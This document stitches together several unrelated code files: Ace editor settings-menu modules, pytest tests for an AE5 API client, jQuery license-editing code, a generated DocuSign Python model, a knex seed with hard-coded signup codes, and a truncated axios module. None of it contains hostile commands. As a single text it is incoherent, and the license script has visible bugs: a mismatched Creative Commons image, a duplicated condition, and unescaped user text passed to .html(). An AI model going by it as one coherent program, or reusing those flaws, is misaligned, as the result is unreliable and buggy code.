* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Ajax.org B.V. nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL AJAX.ORG B.V. BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* ***** END LICENSE BLOCK ***** */
define('ace/ext/settings_menu', ['require', 'exports', 'module' , 'ace/ext/menu_tools/generate_settings_menu', 'ace/ext/menu_tools/overlay_page', 'ace/editor'], function(require, exports, module) {
var generateSettingsMenu = require('./menu_tools/generate_settings_menu').generateSettingsMenu;
var overlayPage = require('./menu_tools/overlay_page').overlayPage;
function showSettingsMenu(editor) {
var sm = document.getElementById('ace_settingsmenu');
if (!sm)
overlayPage(editor, generateSettingsMenu(editor), '0', '0', '0');
}
module.exports.init = function(editor) {
var Editor = require("ace/editor").Editor;
Editor.prototype.showSettingsMenu = function() {
showSettingsMenu(this);
};
};
});
define('ace/ext/menu_tools/generate_settings_menu', ['require', 'exports', 'module' , 'ace/ext/menu_tools/element_generator', 'ace/ext/menu_tools/add_editor_menu_options', 'ace/ext/menu_tools/get_set_functions'], function(require, exports, module) {
var egen = require('./element_generator');
var addEditorMenuOptions = require('./add_editor_menu_options').addEditorMenuOptions;
var getSetFunctions = require('./get_set_functions').getSetFunctions;
module.exports.generateSettingsMenu = function generateSettingsMenu (editor) {
var elements = [];
function cleanupElementsList() {
elements.sort(function(a, b) {
var x = a.getAttribute('contains');
var y = b.getAttribute('contains');
return x.localeCompare(y);
});
}
function wrapElements() {
var topmenu = document.createElement('div');
topmenu.setAttribute('id', 'ace_settingsmenu');
elements.forEach(function(element) {
topmenu.appendChild(element);
});
return topmenu;
}
function createNewEntry(obj, clss, item, val) {
var el;
var div = document.createElement('div');
div.setAttribute('contains', item);
div.setAttribute('class', 'ace_optionsMenuEntry');
div.setAttribute('style', 'clear: both;');
div.appendChild(egen.createLabel(
item.replace(/^set/, '').replace(/([A-Z])/g, ' $1').trim(),
item
));
if (Array.isArray(val)) {
el = egen.createSelection(item, val, clss);
el.addEventListener('change', function(e) {
try{
editor.menuOptions[e.target.id].forEach(function(x) {
if(x.textContent !== e.target.textContent) {
delete x.selected;
}
});
obj[e.target.id](e.target.value);
} catch (err) {
throw new Error(err);
}
});
} else if(typeof val === 'boolean') {
el = egen.createCheckbox(item, val, clss);
el.addEventListener('change', function(e) {
try{
obj[e.target.id](!!e.target.checked);
} catch (err) {
throw new Error(err);
}
});
} else {
el = egen.createInput(item, val, clss);
el.addEventListener('change', function(e) {
try{
if(e.target.value === 'true') {
obj[e.target.id](true);
} else if(e.target.value === 'false') {
obj[e.target.id](false);
} else {
obj[e.target.id](e.target.value);
}
} catch (err) {
throw new Error(err);
}
});
}
el.style.cssText = 'float:right;';
div.appendChild(el);
return div;
}
function makeDropdown(item, esr, clss, fn) {
var val = editor.menuOptions[item];
var currentVal = esr[fn]();
if (typeof currentVal == 'object')
currentVal = currentVal.$id;
val.forEach(function(valuex) {
if (valuex.value === currentVal)
valuex.selected = 'selected';
});
return createNewEntry(esr, clss, item, val);
}
function handleSet(setObj) {
var item = setObj.functionName;
var esr = setObj.parentObj;
var clss = setObj.parentName;
var val;
var fn = item.replace(/^set/, 'get');
if(editor.menuOptions[item] !== undefined) {
elements.push(makeDropdown(item, esr, clss, fn));
} else if(typeof esr[fn] === 'function') {
try {
val = esr[fn]();
if(typeof val === 'object') {
val = val.$id;
}
elements.push(
createNewEntry(esr, clss, item, val)
);
} catch (e) {
}
}
}
addEditorMenuOptions(editor);
getSetFunctions(editor).forEach(function(setObj) {
handleSet(setObj);
});
cleanupElementsList();
return wrapElements();
};
});
define('ace/ext/menu_tools/element_generator', ['require', 'exports', 'module' ], function(require, exports, module) {
module.exports.createOption = function createOption (obj) {
var attribute;
var el = document.createElement('option');
for(attribute in obj) {
if(obj.hasOwnProperty(attribute)) {
if(attribute === 'selected') {
el.setAttribute(attribute, obj[attribute]);
} else {
el[attribute] = obj[attribute];
}
}
}
return el;
};
module.exports.createCheckbox = function createCheckbox (id, checked, clss) {
var el = document.createElement('input');
el.setAttribute('type', 'checkbox');
el.setAttribute('id', id);
el.setAttribute('name', id);
el.setAttribute('value', checked);
el.setAttribute('class', clss);
if(checked) {
el.setAttribute('checked', 'checked');
}
return el;
};
module.exports.createInput = function createInput (id, value, clss) {
var el = document.createElement('input');
el.setAttribute('type', 'text');
el.setAttribute('id', id);
el.setAttribute('name', id);
el.setAttribute('value', value);
el.setAttribute('class', clss);
return el;
};
module.exports.createLabel = function createLabel (text, labelFor) {
var el = document.createElement('label');
el.setAttribute('for', labelFor);
el.textContent = text;
return el;
};
module.exports.createSelection = function createSelection (id, values, clss) {
var el = document.createElement('select');
el.setAttribute('id', id);
el.setAttribute('name', id);
el.setAttribute('class', clss);
values.forEach(function(item) {
el.appendChild(module.exports.createOption(item));
});
return el;
};
});
define('ace/ext/menu_tools/add_editor_menu_options', ['require', 'exports', 'module' , 'ace/ext/modelist', 'ace/ext/themelist'], function(require, exports, module) {
module.exports.addEditorMenuOptions = function addEditorMenuOptions (editor) {
var modelist = require('../modelist');
var themelist = require('../themelist');
editor.menuOptions = {
"setNewLineMode" : [{
"textContent" : "unix",
"value" : "unix"
}, {
"textContent" : "windows",
"value" : "windows"
}, {
"textContent" : "auto",
"value" : "auto"
}],
"setTheme" : [],
"setMode" : [],
"setKeyboardHandler": [{
"textContent" : "ace",
"value" : ""
}, {
"textContent" : "vim",
"value" : "ace/keyboard/vim"
}, {
"textContent" : "emacs",
"value" : "ace/keyboard/emacs"
}]
};
editor.menuOptions.setTheme = themelist.themes.map(function(theme) {
return {
'textContent' : theme.desc,
'value' : theme.theme
};
});
editor.menuOptions.setMode = modelist.modes.map(function(mode) {
return {
'textContent' : mode.name,
'value' : mode.mode
};
});
};
});define('ace/ext/modelist', ['require', 'exports', 'module' ], function(require, exports, module) {
var modes = [];
function getModeForPath(path) {
var mode = modesByName.text;
var fileName = path.split(/[\/\\]/).pop();
for (var i = 0; i < modes.length; i++) {
if (modes[i].supportsFile(fileName)) {
mode = modes[i];
break;
}
}
return mode;
}
var Mode = function(name, caption, extensions) {
this.name = name;
this.caption = caption;
this.mode = "ace/mode/" + name;
this.extensions = extensions;
if (/\^/.test(extensions)) {
var re = extensions.replace(/\|(\^)?/g, function(a, b){
return "$|" + (b ? "^" : "^.*\\.");
}) + "$";
} else {
var re = "^.*\\.(" + extensions + ")$";
}
this.extRe = new RegExp(re, "gi");
};
Mode.prototype.supportsFile = function(filename) {
return filename.match(this.extRe);
};
var supportedModes = {
ABAP: ["abap"],
ActionScript:["as"],
ADA: ["ada|adb"],
AsciiDoc: ["asciidoc"],
Assembly_x86:["asm"],
AutoHotKey: ["ahk"],
BatchFile: ["bat|cmd"],
C9Search: ["c9search_results"],
C_Cpp: ["cpp|c|cc|cxx|h|hh|hpp"],
Clojure: ["clj"],
Cobol: ["CBL|COB"],
coffee: ["coffee|cf|cson|^Cakefile"],
ColdFusion: ["cfm"],
CSharp: ["cs"],
CSS: ["css"],
Curly: ["curly"],
D: ["d|di"],
Dart: ["dart"],
Diff: ["diff|patch"],
Dot: ["dot"],
Erlang: ["erl|hrl"],
EJS: ["ejs"],
Forth: ["frt|fs|ldr"],
FTL: ["ftl"],
Glsl: ["glsl|frag|vert"],
golang: ["go"],
Groovy: ["groovy"],
HAML: ["haml"],
Handlebars: ["hbs|handlebars|tpl|mustache"],
Haskell: ["hs"],
haXe: ["hx"],
HTML: ["html|htm|xhtml"],
HTML_Ruby: ["erb|rhtml|html.erb"],
INI: ["ini|conf|cfg|prefs"],
Jack: ["jack"],
Jade: ["jade"],
Java: ["java"],
JavaScript: ["js|jsm"],
JSON: ["json"],
JSONiq: ["jq"],
JSP: ["jsp"],
JSX: ["jsx"],
Julia: ["jl"],
LaTeX: ["tex|latex|ltx|bib"],
LESS: ["less"],
Liquid: ["liquid"],
Lisp: ["lisp"],
LiveScript: ["ls"],
LogiQL: ["logic|lql"],
LSL: ["lsl"],
Lua: ["lua"],
LuaPage: ["lp"],
Lucene: ["lucene"],
Makefile: ["^Makefile|^GNUmakefile|^makefile|^OCamlMakefile|make"],
MATLAB: ["matlab"],
Markdown: ["md|markdown"],
MySQL: ["mysql"],
MUSHCode: ["mc|mush"],
Nix: ["nix"],
ObjectiveC: ["m|mm"],
OCaml: ["ml|mli"],
Pascal: ["pas|p"],
Perl: ["pl|pm"],
pgSQL: ["pgsql"],
PHP: ["php|phtml"],
Powershell: ["ps1"],
Prolog: ["plg|prolog"],
Properties: ["properties"],
Protobuf: ["proto"],
Python: ["py"],
R: ["r"],
RDoc: ["Rd"],
RHTML: ["Rhtml"],
Ruby: ["rb|ru|gemspec|rake|^Guardfile|^Rakefile|^Gemfile"],
Rust: ["rs"],
SASS: ["sass"],
SCAD: ["scad"],
Scala: ["scala"],
Scheme: ["scm|rkt"],
SCSS: ["scss"],
SH: ["sh|bash|^.bashrc"],
SJS: ["sjs"],
Space: ["space"],
snippets: ["snippets"],
Soy_Template:["soy"],
SQL: ["sql"],
Stylus: ["styl|stylus"],
SVG: ["svg"],
Tcl: ["tcl"],
Tex: ["tex"],
Text: ["txt"],
Textile: ["textile"],
Toml: ["toml"],
Twig: ["twig"],
Typescript: ["ts|typescript|str"],
VBScript: ["vbs"],
Velocity: ["vm"],
Verilog: ["v|vh|sv|svh"],
XML: ["xml|rdf|rss|wsdl|xslt|atom|mathml|mml|xul|xbl"],
XQuery: ["xq"],
YAML: ["yaml|yml"]
};
var nameOverrides = {
ObjectiveC: "Objective-C",
CSharp: "C#",
golang: "Go",
C_Cpp: "C/C++",
coffee: "CoffeeScript",
HTML_Ruby: "HTML (Ruby)",
FTL: "FreeMarker"
};
var modesByName = {};
for (var name in supportedModes) {
var data = supportedModes[name];
var displayName = nameOverrides[name] || name;
var filename = name.toLowerCase();
var mode = new Mode(filename, displayName, data[0]);
modesByName[filename] = mode;
modes.push(mode);
}
module.exports = {
getModeForPath: getModeForPath,
modes: modes,
modesByName: modesByName
};
});
define('ace/ext/themelist', ['require', 'exports', 'module' , 'ace/ext/themelist_utils/themes'], function(require, exports, module) {
module.exports.themes = require('ace/ext/themelist_utils/themes').themes;
module.exports.ThemeDescription = function(name) {
this.name = name;
this.desc = name.split('_'
).map(
function(namePart) {
return namePart[0].toUpperCase() + namePart.slice(1);
}
).join(' ');
this.theme = "ace/theme/" + name;
};
module.exports.themesByName = {};
module.exports.themes = module.exports.themes.map(function(name) {
module.exports.themesByName[name] = new module.exports.ThemeDescription(name);
return module.exports.themesByName[name];
});
});
define('ace/ext/themelist_utils/themes', ['require', 'exports', 'module' ], function(require, exports, module) {
module.exports.themes = [
"ambiance",
"chaos",
"chrome",
"clouds",
"clouds_midnight",
"cobalt",
"crimson_editor",
"dawn",
"dreamweaver",
"eclipse",
"github",
"idle_fingers",
"kr_theme",
"merbivore",
"merbivore_soft",
"monokai",
"mono_industrial",
"pastel_on_dark",
"solarized_dark",
"solarized_light",
"terminal",
"textmate",
"tomorrow",
"tomorrow_night",
"tomorrow_night_blue",
"tomorrow_night_bright",
"tomorrow_night_eighties",
"twilight",
"vibrant_ink",
"xcode"
];
});
define('ace/ext/menu_tools/get_set_functions', ['require', 'exports', 'module' ], function(require, exports, module) {
module.exports.getSetFunctions = function getSetFunctions (editor) {
var out = [];
var my = {
'editor' : editor,
'session' : editor.session,
'renderer' : editor.renderer
};
var opts = [];
var skip = [
'setOption',
'setUndoManager',
'setDocument',
'setValue',
'setBreakpoints',
'setScrollTop',
'setScrollLeft',
'setSelectionStyle',
'setWrapLimitRange'
];
['renderer', 'session', 'editor'].forEach(function(esra) {
var esr = my[esra];
var clss = esra;
for(var fn in esr) {
if(skip.indexOf(fn) === -1) {
if(/^set/.test(fn) && opts.indexOf(fn) === -1) {
opts.push(fn);
out.push({
'functionName' : fn,
'parentObj' : esr,
'parentName' : clss
});
}
}
}
});
return out;
};
});
define('ace/ext/menu_tools/overlay_page', ['require', 'exports', 'module' , 'ace/lib/dom'], function(require, exports, module) {
var dom = require("../../lib/dom");
var cssText = "#ace_settingsmenu, #kbshortcutmenu {\
background-color: #F7F7F7;\
color: black;\
box-shadow: -5px 4px 5px rgba(126, 126, 126, 0.55);\
padding: 1em 0.5em 2em 1em;\
overflow: auto;\
position: absolute;\
margin: 0;\
bottom: 0;\
right: 0;\
top: 0;\
z-index: 9991;\
cursor: default;\
}\
.ace_dark #ace_settingsmenu, .ace_dark #kbshortcutmenu {\
box-shadow: -20px 10px 25px rgba(126, 126, 126, 0.25);\
background-color: rgba(255, 255, 255, 0.6);\
color: black;\
}\
.ace_optionsMenuEntry:hover {\
background-color: rgba(100, 100, 100, 0.1);\
-webkit-transition: all 0.5s;\
transition: all 0.3s\
}\
.ace_closeButton {\
background: rgba(245, 146, 146, 0.5);\
border: 1px solid #F48A8A;\
border-radius: 50%;\
padding: 7px;\
position: absolute;\
right: -8px;\
top: -8px;\
z-index: 1000;\
}\
.ace_closeButton{\
background: rgba(245, 146, 146, 0.9);\
}\
.ace_optionsMenuKey {\
color: darkslateblue;\
font-weight: bold;\
}\
.ace_optionsMenuCommand {\
color: darkcyan;\
font-weight: normal;\
}";
dom.importCssString(cssText);
module.exports.overlayPage = function overlayPage(editor, contentElement, top, right, bottom, left) {
top = top ? 'top: ' + top + ';' : '';
bottom = bottom ? 'bottom: ' + bottom + ';' : '';
right = right ? 'right: ' + right + ';' : '';
left = left ? 'left: ' + left + ';' : '';
var closer = document.createElement('div');
var contentContainer = document.createElement('div');
function documentEscListener(e) {
if (e.keyCode === 27) {
closer.click();
}
}
closer.style.cssText = 'margin: 0; padding: 0; ' +
'position: fixed; top:0; bottom:0; left:0; right:0;' +
'z-index: 9990; ' +
'background-color: rgba(0, 0, 0, 0.3);';
closer.addEventListener('click', function() {
document.removeEventListener('keydown', documentEscListener);
closer.parentNode.removeChild(closer);
editor.focus();
closer = null;
});
document.addEventListener('keydown', documentEscListener);
contentContainer.style.cssText = top + right + bottom + left;
contentContainer.addEventListener('click', function(e) {
e.stopPropagation();
});
var wrapper = dom.createElement("div");
wrapper.style.position = "relative";
var closeButton = dom.createElement("div");
closeButton.className = "ace_closeButton";
closeButton.addEventListener('click', function() {
closer.click();
});
wrapper.appendChild(closeButton);
contentContainer.appendChild(wrapper);
contentContainer.appendChild(contentElement);
closer.appendChild(contentContainer);
document.body.appendChild(closer);
editor.blur();
};
}); |
import pytest
import tempfile
import os
from ae5_tools.api import AEUserSession, AEAdminSession
def _get_vars(*vars):
missing = [v for v in vars if not os.environ.get(v)]
if missing:
raise RuntimeError('The following environment variables must be set: {}'.format(' '.join(missing)))
result = tuple(os.environ[v] for v in vars)
return result[0] if len(result) == 1 else result
@pytest.fixture
def user_session():
hostname, username, password = _get_vars('AE5_HOSTNAME', 'AE5_USERNAME', 'AE5_PASSWORD')
return AEUserSession(hostname, username, password)
@pytest.fixture
def admin_session():
hostname, username, password = _get_vars('AE5_HOSTNAME', 'AE5_ADMIN_USERNAME', 'AE5_ADMIN_PASSWORD')
return AEAdminSession(hostname, username, password)
@pytest.fixture
def impersonate_session(admin_session):
username = _get_vars('AE5_USERNAME')
return admin_session.impersonate(username)
@pytest.fixture()
def user_project_list(user_session):
project_list = user_session.project_list(collaborators=True)
for r in project_list:
if r['name'] == 'test_upload':
user_session.project_delete(r['id'])
return [r for r in project_list if r['name'] != 'test_upload']
@pytest.fixture()
def user_project_list_imp(impersonate_session):
project_list = impersonate_session.project_list(collaborators=True)
for r in project_list:
if r['name'] == 'test_upload':
impersonate_session.project_delete(r['id'])
return [r for r in project_list if r['name'] != 'test_upload']
@pytest.fixture()
def project_set(user_project_list):
return [r for r in user_project_list if r['name'] in {'testproj1', 'testproj2', 'testproj3'}]
# Expectations: the user AE5_USERNAME should have at least three projects:
# - project names: testproj1, testproj2, testproj3
# - all three editors should be represented
# - the projects should have 0, 1, and 2 collaborators
# - there is no project named 'test_upload'
def test_project_list(user_session, project_set):
assert len(project_set) == 3
assert all(r['owner'] == user_session.username for r in project_set)
editors = set(r['editor'] for r in project_set)
assert editors == {'notebook', 'jupyterlab', 'zeppelin'}
collabs = set(len(r['collaborators'].split(', ')) if r['collaborators'] else 0
for r in project_set)
assert collabs == {0, 1, 2}
def test_project_list_imp(project_set, user_project_list_imp):
for r1 in project_set:
assert any(r1 == r2 for r2 in user_project_list_imp)
def test_project_info(user_session, project_set):
for rec0 in project_set:
id = rec0['id']
pair = '{}/{}'.format(rec0['owner'], rec0['name'])
rec1 = user_session.project_info(id, collaborators=True)
rec2 = user_session.project_info(pair)
rec3 = user_session.project_info('{}/{}'.format(pair, id))
assert all(rec0[k] == v for k, v in rec2.items())
assert all(rec1[k] == v for k, v in rec2.items())
assert rec2 == rec3
def test_project_collaborators(user_session, project_set):
for rec0 in project_set:
collabs = rec0['collaborators']
collabs = set(collabs.split(', ')) if collabs else set()
collab2 = user_session.project_collaborators(rec0['id'])
collab3 = set(c['id'] for c in collab2)
assert collabs == collab3, collab2
def test_project_activity(user_session, project_set):
for rec0 in project_set:
activity = user_session.project_activity(rec0['id'])
assert all(rec0['owner'] == rec1['owner'] for rec1 in activity)
assert activity[-1]['type'] == 'create_action' and activity[-1]['done']
def test_project_download_upload_delete(user_session, project_set, user_project_list):
assert not any(r['name'] == 'test_upload' for r in user_project_list)
with tempfile.TemporaryDirectory() as tempd:
fname = os.path.join(tempd, 'blob')
user_session.project_download(project_set[0]['id'], filename=fname)
user_session.project_upload(fname, 'test_upload', '1.2.3', wait=True)
for r in user_session.project_list():
if r['name'] == 'test_upload':
user_session.project_delete(r['id'])
break
else:
assert False, 'Uploaded project could not be found'
assert not any(r['name'] == 'test_upload' for r in user_session.project_list())
|
//File that consolidates updating the interface elements related to license information, as well as updating the data
//for the license information in the system.
//
//Referenced in dataset.scala.html and file.scala.html
function updateInterface(licenseType, rightsHolder, licenseText, licenseUrl, allowDownload, imageBase, authorName) {
//Two golbally defined variables that are used in file.scala.html to check for download permissions.
checkAllowDownload = allowDownload;
checkLicenseType = licenseType;
if (licenseType == 'license1' || licenseType == 'license2') {
if (rightsHolder == null || rightsHolder.trim().length == 0){
//No rights holder set, so default to "Author"
rightsHolder = authorName;
}
}
if (licenseType == 'license1') {
if (licenseText == null || licenseText.trim().length == 0) {
licenseText = 'All Rights Reserved';
}
if (licenseUrl != null && licenseUrl.trim().length > 0) {
if (!licenseUrl.startsWith("http")) {
licenseUrl = "http://" + licenseUrl;
}
licenseText = '<a href="' + licenseUrl + '" target="_blank">' + licenseText + '</a>';
}
}
else if (licenseType == 'license2') {
//No checkboxes selected
if (licenseText == "Attribution-NonCommercial-NoDerivs" || licenseText == "by-nc-nd") {
licenseText = '<a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" target="_blank"><img src="' + imageBase +
'/cc-by-nc-nd.png" alt="Attribution-NonCommercial-NoDerivs" title="Attribution-NonCommercial-NoDerivs" /></a>';
}
//Only commercial selected
else if (licenseText == "Attribution-NoDerivs" || licenseText == "by-nd") {
licenseText = '<a href="http://creativecommons.org/licenses/by-nd/3.0/" target="_blank"><img src="' + imageBase +
'/cc-by-nd.png" alt="Attribution-NoDerivs" title="Attribution-NoDerivs" /></a>';
}
//Only remixing selected
else if (licenseText == "Attribution-NonCommercial" || licenseText == "by-nc") {
licenseText = '<a href="http://creativecommons.org/licenses/by-nc/3.0/" target="_blank"><img src="' + imageBase +
'/cc-by-nd.png" alt="Attribution-NonCommercial" title="Attribution-NonCommercial" /></a>';
}
//Remixing and Sharealike selected
else if (licenseText == "Attribution-NonCommercial-ShareAlike" || licenseText == "by-nc-sa") {
licenseText = '<a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" target="_blank"><img src="' + imageBase +
'/cc-by-nc-sa.png" alt="Attribution-NonCommercial-ShareAlike" title="Attribution-NonCommercial-ShareAlike" /></a>';
}
//All checkboxes selected
else if (licenseText == "Attribution-ShareAlike" || licenseText == "by-sa") {
licenseText = '<a href="http://creativecommons.org/licenses/by-sa/3.0/" target="_blank"><img src="' + imageBase +
'/cc-by-sa.png" alt="Attribution-ShareAlike" title="Attribution-ShareAlike" /></a>';
}
//Commercial and Remixing selected
else if (licenseText == "Attribution" || licenseText == "by-nc-nd") {
licenseText = '<a href="http://creativecommons.org/licenses/by/3.0/" target="_blank"><img src="' + imageBase +
'/cc-by.png" alt="Attribution" title="Attribution" /></a>';
}
else {
rightsHolder = 'Creative Commons';
licenseText = 'Specific level info';
}
}
else if (licenseType == 'license3') {
rightsHolder = 'Public Domain Dedication';
licenseText = '<a href="http://creativecommons.org/publicdomain/zero/1.0/" target="_blank"><img src="' + imageBase +
'/cc-pd.png" id="license-img" alt="Public Domain Dedication" title="Public Domain Dedication" /></a>';
}
else {
notify('Extra case!!', "error");
}
//Update the display and close the editor
$("#rightsholderdata").html(rightsHolder);
$("#licensetextdata").html(licenseText);
//return false;
}
function updateData(id, imageBase, sourceObject, authorName) {
var licenseType = $('input[name=type]:checked', '#form1').val();
var rightsHolder = $('input[name=ownername]').val();
var licenseText = $('input[name=licensedesc]').val();
var licenseUrl = $('input[name=licenseurl]').val();
var allowDownload = $('input[name=allowDownload]').prop('checked').toString();
if (licenseType == "license1" || licenseType == "license2") {
if (rightsHolder == null || rightsHolder.trim().length == 0) {
//for this license type, rights holder can't be null. default to Author
rightsHolder = authorName;
//$('#ownrights').trigger('click');
}
}
if (licenseType == "license1") {
if (licenseText == null || licenseText.trim().length == 0) {
licenseText = "All Rights Reserved";
}
if (licenseText != null && licenseText.trim().length == 0) {
//don't allow empty string as a value. explicitly set it to null.
licenseText = null;
}
}
if (licenseType == "license2") {
var commBox = $('#commercial');
var remixBox = $('#remixing');
var shareBox = $('#sharealike');
//No checkboxes selected
if (!commBox.prop('checked') && !remixBox.prop('checked') && !shareBox.prop('checked')) {
licenseText = "by-nc-nd";
licenseUrl = "http://creativecommons.org/licenses/by-nc-nd/3.0/";
}
//Only commercial selected
else if (commBox.prop('checked') && !remixBox.prop('checked') && !shareBox.prop('checked')) {
licenseText = "Attribution-NoDerivs";
licenseUrl = "http://creativecommons.org/licenses/by-nd/3.0/";
}
//Only remixing selected
else if (!commBox.prop('checked') && remixBox.prop('checked') && !shareBox.prop('checked')) {
licenseText = "Attribution-NonCommercial";
licenseUrl = "http://creativecommons.org/licenses/by-nc/3.0/";
}
//Remixing and Sharealike selected
else if (!commBox.prop('checked') && remixBox.prop('checked') && shareBox.prop('checked')) {
licenseText = "Attribution-NonCommercial-ShareAlike";
licenseUrl = "http://creativecommons.org/licenses/by-nc-sa/3.0/";
}
//All checkboxes selected
else if (commBox.prop('checked') && remixBox.prop('checked') && shareBox.prop('checked')) {
licenseText = "Attribution-ShareAlike";
licenseUrl = "http://creativecommons.org/licenses/by-sa/3.0/";
}
//Commercial and Remixing selected
else if (commBox.prop('checked') && remixBox.prop('checked') && !shareBox.prop('checked')) {
licenseText = "Attribution";
licenseUrl = "http://creativecommons.org/licenses/by/3.0/";
}
else {
rightsHolder = 'Creative Commons';
licenseText = 'Specific level info';
}
}
else if (licenseType == 'license3') {
rightsHolder = "Public Domain Dedication";
licenseText = "Public Domain Dedication";
licenseUrl = "http://creativecommons.org/publicdomain/zero/1.0/";
}
//var jsonData = JSON.stringify({"licenseData":[licenseType, rightsHolder, licenseText, licenseUrl, allowDownload]});
var jsonData = JSON.stringify({"licenseType":licenseType, "rightsHolder":rightsHolder, "licenseText":licenseText, "licenseUrl":licenseUrl, "allowDownload":allowDownload});
var request = null;
if (sourceObject == 'dataset') {
request = jsRoutes.api.Datasets.updateLicense(id).ajax({
data: jsonData,
type: 'POST',
contentType: "application/json",
});
}
else if (sourceObject == 'file') {
request = jsRoutes.api.Files.updateLicense(id).ajax({
data: jsonData,
type: 'POST',
contentType: "application/json",
});
}
else {
console.log("error case, no valid sourceObject");
}
request.done(function (response, textStatus, jqXHR){
//console.log("Response " + response);
//Sucessful update of the DB
updateInterface(licenseType, rightsHolder, licenseText, licenseUrl, allowDownload, imageBase, authorName);
$("#editlicense").addClass('collapsed');
$("#collapseSix").collapse('toggle');
});
request.fail(function (jqXHR, textStatus, errorThrown){
console.error("The following error occurred: " + textStatus, errorThrown);
var errMsg = "You must be logged in to edit license information.";
if (!checkErrorAndRedirect(jqXHR, errMsg)) {
notify("The license information was not modified due to : " + errorThrown, "error");
}
});
return false;
} |
# coding: utf-8
"""
DocuSign REST API
The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign.
OpenAPI spec version: v2
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class RecipientAttachment(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
def __init__(self, attachment_id=None, attachment_type=None, data=None, label=None, name=None, remote_url=None):
"""
RecipientAttachment - a model defined in Swagger
:param dict swaggerTypes: The key is attribute name
and the value is attribute type.
:param dict attributeMap: The key is attribute name
and the value is json key in definition.
"""
self.swagger_types = {
'attachment_id': 'str',
'attachment_type': 'str',
'data': 'str',
'label': 'str',
'name': 'str',
'remote_url': 'str'
}
self.attribute_map = {
'attachment_id': 'attachmentId',
'attachment_type': 'attachmentType',
'data': 'data',
'label': 'label',
'name': 'name',
'remote_url': 'remoteUrl'
}
self._attachment_id = attachment_id
self._attachment_type = attachment_type
self._data = data
self._label = label
self._name = name
self._remote_url = remote_url
@property
def attachment_id(self):
"""
Gets the attachment_id of this RecipientAttachment.
:return: The attachment_id of this RecipientAttachment.
:rtype: str
"""
return self._attachment_id
@attachment_id.setter
def attachment_id(self, attachment_id):
"""
Sets the attachment_id of this RecipientAttachment.
:param attachment_id: The attachment_id of this RecipientAttachment.
:type: str
"""
self._attachment_id = attachment_id
@property
def attachment_type(self):
"""
Gets the attachment_type of this RecipientAttachment.
:return: The attachment_type of this RecipientAttachment.
:rtype: str
"""
return self._attachment_type
@attachment_type.setter
def attachment_type(self, attachment_type):
"""
Sets the attachment_type of this RecipientAttachment.
:param attachment_type: The attachment_type of this RecipientAttachment.
:type: str
"""
self._attachment_type = attachment_type
@property
def data(self):
"""
Gets the data of this RecipientAttachment.
:return: The data of this RecipientAttachment.
:rtype: str
"""
return self._data
@data.setter
def data(self, data):
"""
Sets the data of this RecipientAttachment.
:param data: The data of this RecipientAttachment.
:type: str
"""
self._data = data
@property
def label(self):
"""
Gets the label of this RecipientAttachment.
:return: The label of this RecipientAttachment.
:rtype: str
"""
return self._label
@label.setter
def label(self, label):
"""
Sets the label of this RecipientAttachment.
:param label: The label of this RecipientAttachment.
:type: str
"""
self._label = label
@property
def name(self):
"""
Gets the name of this RecipientAttachment.
:return: The name of this RecipientAttachment.
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""
Sets the name of this RecipientAttachment.
:param name: The name of this RecipientAttachment.
:type: str
"""
self._name = name
@property
def remote_url(self):
"""
Gets the remote_url of this RecipientAttachment.
:return: The remote_url of this RecipientAttachment.
:rtype: str
"""
return self._remote_url
@remote_url.setter
def remote_url(self, remote_url):
"""
Sets the remote_url of this RecipientAttachment.
:param remote_url: The remote_url of this RecipientAttachment.
:type: str
"""
self._remote_url = remote_url
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
|
exports.seed = function(knex) {
// Deletes ALL existing entries
return knex('signup_codes').del()
.then(function () {
// Inserts seed entries
return knex('signup_codes').insert([
{ code: "signup_1234!" },
{ code: "instructor!" },
]);
});
};
|
/**
* 基于 axios 封装的请求模块
*/
import axios from 'axios'
// 创建对象
export const request = axios.create({
baseURL: 'https://conduit.productionready.io'
});
// 通过插件机制获取到上下文对象,(query,params,req,res,app,store...)
// 插件导出函数必须作为 default 成员
export default ({ store }) => {
//请求拦截器
// Add a request interceptor
/**
* 任何请求都要经过请求拦截器
* 我们可以在请求拦截器中做一些公共的业务处理,例如统一设置 token
*/
request.interceptors.request.use(function (config) {
// Do something before request is sent
